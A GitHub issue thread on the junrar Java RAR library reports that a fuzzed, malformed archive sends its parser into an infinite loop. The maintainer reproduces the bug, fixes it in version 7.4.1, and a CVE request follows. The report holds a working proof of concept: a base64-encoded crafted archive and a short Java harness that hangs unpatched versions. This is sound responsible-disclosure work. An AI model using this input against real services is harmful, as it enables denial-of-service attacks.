Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[BUG]A carefully crafted RAR archive can trigger an infinite loop while parsing. #73

Closed
Han0nly opened this issue Jan 27, 2022 · 10 comments

Comments

@Han0nly
Copy link

Han0nly commented Jan 27, 2022

Describe the bug
A carefully crafted RAR archive can trigger an infinite loop while parsing the file. This could be used to mount a denial of service attack against services that use junrar.

To Reproduce

String encodedString = "UmFyIRoHAM+Qcw4AAAAAKgAAAAAXF3QggE4ASwEAACICAAADZXUl9710qkIdNC4ApIEAAF9fTUlDT1NYXC5fYXBwbGUpdG91Y2gtaWNvbi03MC1wcmVjb21wb3NlZC5wbmcJ3RFMy9WBV2REVHpele6iC2cnv5JltbeqElgNF1pFjxFEQOWXhHq2ScsnIV5jb21wb3NlZC6Qcw4AAAAAKgAAAGREVA+VZ3qi7l4nv5Jly7W3qhJYDZDaRcURs78ajbZ7SWjLJyFah8afvQIAAADEvXYBRXwAQAUBBgAAAAAAAC/jZmlgun4oIP1Z4AG7ybwKgFwrlLrUKiSxjkiGPQFX/wAAL/8A////////+SVUCUzV3REly4FXZEReVHqV7qJYZyezxAAAAAAAAL+SZbVft6ruqo0QWkWPEUSMA5dA5QCE+3q2AAAAAAAAAgBJyyMhXocAAAAAAIefGkfCXwV8FHoKlbPhXgA//O5fgDAhAQAAAAAAAABuZphoBm71hnkO4GbmYGm6fs7f/VkAAAACAAFXqLsj6Xd3d3d3d3d3d3dgd3d3d3d3d3d3d3d3V3d3d3d3d3d3d3d3d3d3d3d3d3dzd3V3d3fTd3d3OJIAAABSAHIhGgcAz5BzAAANAAAAAAAAABcXdHkASwEAACICAAAD////////////////////+////////z1ldSV3dw==";
byte[] decodedBytes = Base64.getDecoder().decode(encodedString);
InputStream inputStream = new ByteArrayInputStream(decodedBytes);

final Archive archive = new Archive(inputStream);
while (true) {
	FileHeader fileHeader = archive.nextFileHeader();
	if (fileHeader == null) {
		break;
	}
	archive.extractFile(fileHeader, OutputStream.nullOutputStream()); 
}

Expected behavior
Infinite loop.

File
loop-913d3158487310b1b4b74086ab888f5ed56a8493.zip

Environment (please complete the following information):

  • OS: Mac OS 12.1 & Ubuntu Linux 16.04 (4.15.0-163-generic)
  • Junrar version: 7.4.0

Additional context
It seems this PoC can reach [this while loop] (

while (true) {
VMPreparedCommand cmd = preparedCode.get(IP);
int op1 = getOperand(cmd.getOp1());
int op2 = getOperand(cmd.getOp2());
switch (cmd.getOpCode()) {
case VM_MOV:
setValue(cmd.isByteMode(), mem, op1, getValue(cmd.isByteMode(),
mem, op2)); // SET_VALUE(Cmd->ByteMode,Op1,GET_VALUE(Cmd->ByteMode,Op2));
break;
case VM_MOVB:
setValue(true, mem, op1, getValue(true, mem, op2));
break;
case VM_MOVD:
setValue(false, mem, op1, getValue(false, mem, op2));
break;
case VM_CMP: {
int value1 = getValue(cmd.isByteMode(), mem, op1);
int result = value1 - getValue(cmd.isByteMode(), mem, op2);
if (result == 0) {
flags = VMFlags.VM_FZ.getFlag();
} else {
flags = (result > value1) ? 1 : 0 | (result & VMFlags.VM_FS
.getFlag());
}
}
break;
case VM_CMPB: {
int value1 = getValue(true, mem, op1);
int result = value1 - getValue(true, mem, op2);
if (result == 0) {
flags = VMFlags.VM_FZ.getFlag();
} else {
flags = (result > value1) ? 1 : 0 | (result & VMFlags.VM_FS
.getFlag());
}
}
break;
case VM_CMPD: {
int value1 = getValue(false, mem, op1);
int result = value1 - getValue(false, mem, op2);
if (result == 0) {
flags = VMFlags.VM_FZ.getFlag();
} else {
flags = (result > value1) ? 1 : 0 | (result & VMFlags.VM_FS
.getFlag());
}
}
break;
case VM_ADD: {
int value1 = getValue(cmd.isByteMode(), mem, op1);
int result = (int) ((((long) value1 + (long) getValue(cmd
.isByteMode(), mem, op2))) & 0xffffffff);
if (cmd.isByteMode()) {
result &= 0xff;
flags = (result < value1) ? 1
: 0 | (result == 0 ? VMFlags.VM_FZ.getFlag()
: ((result & 0x80) != 0) ? VMFlags.VM_FS
.getFlag() : 0);
// Flags=(Result<Value1)|(Result==0 ? VM_FZ:((Result&0x80) ?
// VM_FS:0));
} else {
flags = (result < value1) ? 1
: 0 | (result == 0 ? VMFlags.VM_FZ.getFlag()
: (result & VMFlags.VM_FS.getFlag()));
}
setValue(cmd.isByteMode(), mem, op1, result);
}
break;
case VM_ADDB:
setValue(true, mem, op1,
(int) ((long) getValue(true, mem, op1) & 0xFFffFFff
+ (long) getValue(true, mem, op2) & 0xFFffFFff));
break;
case VM_ADDD:
setValue(
false,
mem,
op1,
(int) ((long) getValue(false, mem, op1) & 0xFFffFFff
+ (long) getValue(false, mem, op2) & 0xFFffFFff));
break;
case VM_SUB: {
int value1 = getValue(cmd.isByteMode(), mem, op1);
int result = (int) ((long) value1 & 0xffFFffFF
- (long) getValue(cmd.isByteMode(), mem, op2) & 0xFFffFFff);
flags = (result == 0) ? VMFlags.VM_FZ.getFlag()
: (result > value1) ? 1 : 0 | (result & VMFlags.VM_FS
.getFlag());
setValue(cmd.isByteMode(), mem, op1, result); // (Cmd->ByteMode,Op1,Result);
}
break;
case VM_SUBB:
setValue(true, mem, op1,
(int) ((long) getValue(true, mem, op1) & 0xFFffFFff
- (long) getValue(true, mem, op2) & 0xFFffFFff));
break;
case VM_SUBD:
setValue(
false,
mem,
op1,
(int) ((long) getValue(false, mem, op1) & 0xFFffFFff
- (long) getValue(false, mem, op2) & 0xFFffFFff));
break;
case VM_JZ:
if ((flags & VMFlags.VM_FZ.getFlag()) != 0) {
setIP(getValue(false, mem, op1));
continue;
}
break;
case VM_JNZ:
if ((flags & VMFlags.VM_FZ.getFlag()) == 0) {
setIP(getValue(false, mem, op1));
continue;
}
break;
case VM_INC: {
int result = (int) ((long) getValue(cmd.isByteMode(), mem, op1) & 0xFFffFFff + 1);
if (cmd.isByteMode()) {
result &= 0xff;
}
setValue(cmd.isByteMode(), mem, op1, result);
flags = result == 0 ? VMFlags.VM_FZ.getFlag() : result
& VMFlags.VM_FS.getFlag();
}
break;
case VM_INCB:
setValue(
true,
mem,
op1,
(int) ((long) getValue(true, mem, op1) & 0xFFffFFff + 1));
break;
case VM_INCD:
setValue(false, mem, op1, (int) ((long) getValue(false, mem,
op1) & 0xFFffFFff + 1));
break;
case VM_DEC: {
int result = (int) ((long) getValue(cmd.isByteMode(), mem, op1) & 0xFFffFFff - 1);
setValue(cmd.isByteMode(), mem, op1, result);
flags = result == 0 ? VMFlags.VM_FZ.getFlag() : result
& VMFlags.VM_FS.getFlag();
}
break;
case VM_DECB:
setValue(
true,
mem,
op1,
(int) ((long) getValue(true, mem, op1) & 0xFFffFFff - 1));
break;
case VM_DECD:
setValue(false, mem, op1, (int) ((long) getValue(false, mem,
op1) & 0xFFffFFff - 1));
break;
case VM_JMP:
setIP(getValue(false, mem, op1));
continue;
case VM_XOR: {
int result = getValue(cmd.isByteMode(), mem, op1)
^ getValue(cmd.isByteMode(), mem, op2);
flags = result == 0 ? VMFlags.VM_FZ.getFlag() : result
& VMFlags.VM_FS.getFlag();
setValue(cmd.isByteMode(), mem, op1, result);
}
break;
case VM_AND: {
int result = getValue(cmd.isByteMode(), mem, op1)
& getValue(cmd.isByteMode(), mem, op2);
flags = result == 0 ? VMFlags.VM_FZ.getFlag() : result
& VMFlags.VM_FS.getFlag();
setValue(cmd.isByteMode(), mem, op1, result);
}
break;
case VM_OR: {
int result = getValue(cmd.isByteMode(), mem, op1)
| getValue(cmd.isByteMode(), mem, op2);
flags = result == 0 ? VMFlags.VM_FZ.getFlag() : result
& VMFlags.VM_FS.getFlag();
setValue(cmd.isByteMode(), mem, op1, result);
}
break;
case VM_TEST: {
int result = getValue(cmd.isByteMode(), mem, op1)
& getValue(cmd.isByteMode(), mem, op2);
flags = result == 0 ? VMFlags.VM_FZ.getFlag() : result
& VMFlags.VM_FS.getFlag();
}
break;
case VM_JS:
if ((flags & VMFlags.VM_FS.getFlag()) != 0) {
setIP(getValue(false, mem, op1));
continue;
}
break;
case VM_JNS:
if ((flags & VMFlags.VM_FS.getFlag()) == 0) {
setIP(getValue(false, mem, op1));
continue;
}
break;
case VM_JB:
if ((flags & VMFlags.VM_FC.getFlag()) != 0) {
setIP(getValue(false, mem, op1));
continue;
}
break;
case VM_JBE:
if ((flags & (VMFlags.VM_FC.getFlag() | VMFlags.VM_FZ.getFlag())) != 0) {
setIP(getValue(false, mem, op1));
continue;
}
break;
case VM_JA:
if ((flags & (VMFlags.VM_FC.getFlag() | VMFlags.VM_FZ.getFlag())) == 0) {
setIP(getValue(false, mem, op1));
continue;
}
break;
case VM_JAE:
if ((flags & VMFlags.VM_FC.getFlag()) == 0) {
setIP(getValue(false, mem, op1));
continue;
}
break;
case VM_PUSH:
R[7] -= 4;
setValue(false, mem, R[7] & VM_MEMMASK, getValue(false, mem,
op1));
break;
case VM_POP:
setValue(false, mem, op1, getValue(false, mem, R[7]
& VM_MEMMASK));
R[7] += 4;
break;
case VM_CALL:
R[7] -= 4;
setValue(false, mem, R[7] & VM_MEMMASK, IP + 1);
setIP(getValue(false, mem, op1));
continue;
case VM_NOT:
setValue(cmd.isByteMode(), mem, op1, ~getValue(
cmd.isByteMode(), mem, op1));
break;
case VM_SHL: {
int value1 = getValue(cmd.isByteMode(), mem, op1);
int value2 = getValue(cmd.isByteMode(), mem, op2);
int result = value1 << value2;
flags = (result == 0 ? VMFlags.VM_FZ.getFlag()
: (result & VMFlags.VM_FS.getFlag()))
| (((value1 << (value2 - 1)) & 0x80000000) != 0 ? VMFlags.VM_FC
.getFlag()
: 0);
setValue(cmd.isByteMode(), mem, op1, result);
}
break;
case VM_SHR: {
int value1 = getValue(cmd.isByteMode(), mem, op1);
int value2 = getValue(cmd.isByteMode(), mem, op2);
int result = value1 >>> value2;
flags = (result == 0 ? VMFlags.VM_FZ.getFlag()
: (result & VMFlags.VM_FS.getFlag()))
| ((value1 >>> (value2 - 1)) & VMFlags.VM_FC.getFlag());
setValue(cmd.isByteMode(), mem, op1, result);
}
break;
case VM_SAR: {
int value1 = getValue(cmd.isByteMode(), mem, op1);
int value2 = getValue(cmd.isByteMode(), mem, op2);
int result = ((int) value1) >>> value2;
flags = (result == 0 ? VMFlags.VM_FZ.getFlag()
: (result & VMFlags.VM_FS.getFlag()))
| ((value1 >>> (value2 - 1)) & VMFlags.VM_FC.getFlag());
setValue(cmd.isByteMode(), mem, op1, result);
}
break;
case VM_NEG: {
int result = -getValue(cmd.isByteMode(), mem, op1);
flags = result == 0 ? VMFlags.VM_FZ.getFlag() : VMFlags.VM_FC
.getFlag()
| (result & VMFlags.VM_FS.getFlag());
setValue(cmd.isByteMode(), mem, op1, result);
}
break;
case VM_NEGB:
setValue(true, mem, op1, -getValue(true, mem, op1));
break;
case VM_NEGD:
setValue(false, mem, op1, -getValue(false, mem, op1));
break;
case VM_PUSHA: {
for (int i = 0, SP = R[7] - 4; i < regCount; i++, SP -= 4) {
setValue(false, mem, SP & VM_MEMMASK, R[i]);
}
R[7] -= regCount * 4;
}
break;
case VM_POPA: {
for (int i = 0, SP = R[7]; i < regCount; i++, SP += 4) {
R[7 - i] = getValue(false, mem, SP & VM_MEMMASK);
}
}
break;
case VM_PUSHF:
R[7] -= 4;
setValue(false, mem, R[7] & VM_MEMMASK, flags);
break;
case VM_POPF:
flags = getValue(false, mem, R[7] & VM_MEMMASK);
R[7] += 4;
break;
case VM_MOVZX:
setValue(false, mem, op1, getValue(true, mem, op2));
break;
case VM_MOVSX:
setValue(false, mem, op1, (byte) getValue(true, mem, op2));
break;
case VM_XCHG: {
int value1 = getValue(cmd.isByteMode(), mem, op1);
setValue(cmd.isByteMode(), mem, op1, getValue(cmd.isByteMode(),
mem, op2));
setValue(cmd.isByteMode(), mem, op2, value1);
}
break;
case VM_MUL: {
int result = (int) (((long) getValue(cmd.isByteMode(), mem, op1)
& 0xFFffFFff
* (long) getValue(cmd.isByteMode(), mem, op2) & 0xFFffFFff) & 0xFFffFFff);
setValue(cmd.isByteMode(), mem, op1, result);
}
break;
case VM_DIV: {
int divider = getValue(cmd.isByteMode(), mem, op2);
if (divider != 0) {
int result = getValue(cmd.isByteMode(), mem, op1) / divider;
setValue(cmd.isByteMode(), mem, op1, result);
}
}
break;
case VM_ADC: {
int value1 = getValue(cmd.isByteMode(), mem, op1);
int FC = (flags & VMFlags.VM_FC.getFlag());
int result = (int) ((long) value1 & 0xFFffFFff
+ (long) getValue(cmd.isByteMode(), mem, op2)
& 0xFFffFFff + (long) FC & 0xFFffFFff);
if (cmd.isByteMode()) {
result &= 0xff;
}
flags = (result < value1 || result == value1 && FC != 0) ? 1
: 0 | (result == 0 ? VMFlags.VM_FZ.getFlag()
: (result & VMFlags.VM_FS.getFlag()));
setValue(cmd.isByteMode(), mem, op1, result);
}
break;
case VM_SBB: {
int value1 = getValue(cmd.isByteMode(), mem, op1);
int FC = (flags & VMFlags.VM_FC.getFlag());
int result = (int) ((long) value1 & 0xFFffFFff
- (long) getValue(cmd.isByteMode(), mem, op2)
& 0xFFffFFff - (long) FC & 0xFFffFFff);
if (cmd.isByteMode()) {
result &= 0xff;
}
flags = (result > value1 || result == value1 && FC != 0) ? 1
: 0 | (result == 0 ? VMFlags.VM_FZ.getFlag()
: (result & VMFlags.VM_FS.getFlag()));
setValue(cmd.isByteMode(), mem, op1, result);
}
break;
case VM_RET:
if (R[7] >= VM_MEMSIZE) {
return (true);
}
setIP(getValue(false, mem, R[7] & VM_MEMMASK));
R[7] += 4;
continue;
case VM_STANDARD:
ExecuteStandardFilter(VMStandardFilters.findFilter(cmd.getOp1()
.getData()));
break;
case VM_PRINT:
break;
}
IP++;
--maxOpCount;
}
)
but never break.

@gotson
Copy link
Member

gotson commented Jan 27, 2022

How did you find out, if I may ask?

@Han0nly
Copy link
Author

Han0nly commented Jan 27, 2022

How did you find out, if I may ask?

Hi @gotson, We found this sample using a testing technique called fuzzing.

@gotson
Copy link
Member

gotson commented Jan 27, 2022

It doesn't seem the provided file is even a rar file, no ?

unrar t loop-913d3158487310b1b4b74086ab888f5ed56a8493                                                Thu Jan 27 11:36:52 2022

UNRAR 6.10 freeware      Copyright (c) 1993-2022 Alexander Roshal

Corrupt header is found
Main archive header is corrupt

Testing archive loop-913d3158487310b1b4b74086ab888f5ed56a8493

Unexpected end of archive
No files to extract

@Han0nly
Copy link
Author

Han0nly commented Jan 27, 2022

Hi @gotson , this infinite loop PoC file we provided here is indeed a broken RAR file. We use fuzzing to iteratively mutate some valid RAR files to test the junrar.

@gotson
Copy link
Member

gotson commented Jan 27, 2022

Thanks, i manage to reproduce in the tests, will have a look.

@gotson gotson closed this as completed in 7b16b3d Jan 27, 2022
github-actions bot pushed a commit that referenced this issue Jan 27, 2022
## [7.4.1](v7.4.0...v7.4.1) (2022-01-27)

### Bug Fixes

* invalid subheader type would throw npe and make the extract loop ([7b16b3d](7b16b3d)), closes [#73](#73)
github-actions bot pushed a commit that referenced this issue Jan 27, 2022
## [7.4.1](v7.4.0...v7.4.1) (2022-01-27)

### Bug Fixes

* invalid subheader type would throw npe and make the extract loop ([7b16b3d](7b16b3d)), closes [#73](#73)
@github-actions
Copy link

🎉 This issue has been resolved in version 7.4.1 🎉

The release is available on:

Your semantic-release bot 📦🚀

@Han0nly
Copy link
Author

Han0nly commented Jan 27, 2022

Hi @gotson , are you willing to help us to request a CVE ID through GitHub Security Advisories for this bug, which can cause Denial of Service. You can follow this tutorial to manage your bug fixing and alert any downstream dependencies of the issue so they can patch immediately if using the broken release. Thanks for your help!

@gotson
Copy link
Member

gotson commented Jan 27, 2022

Hi @gotson , are you willing to help us to request a CVE ID through GitHub Security Advisories for this bug, which can cause Denial of Service. You can follow this tutorial to manage your bug fixing and alert any downstream dependencies of the issue so they can patch immediately if using the broken release. Thanks for your help!

Thanks, it's a new process to me, but that's actually a good idea.

github-actions bot pushed a commit to andrebrait/junrar that referenced this issue Mar 2, 2022
## [7.4.1](v7.4.0...v7.4.1) (2022-03-02)

### Bug Fixes

* invalid subheader type would throw npe and make the extract loop ([7b16b3d](7b16b3d)), closes [junrar#73](https://github.com/andrebrait/junrar/issues/73)
@Han0nly
Copy link
Author

Han0nly commented Mar 24, 2022

Hi @gotson , I found some files which can also trigger this infinite loop. I have tested these on the latest version (7.5.0)
loops.zip.

@gotson
Copy link
Member

gotson commented Mar 25, 2022

Hi @gotson , I found some files which can also trigger this infinite loop. I have tested these on the latest version (7.5.0) loops.zip.

Please open a new issue.

@junrar junrar locked as resolved and limited conversation to collaborators Mar 25, 2022
Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.
Projects
None yet
Development

No branches or pull requests

2 participants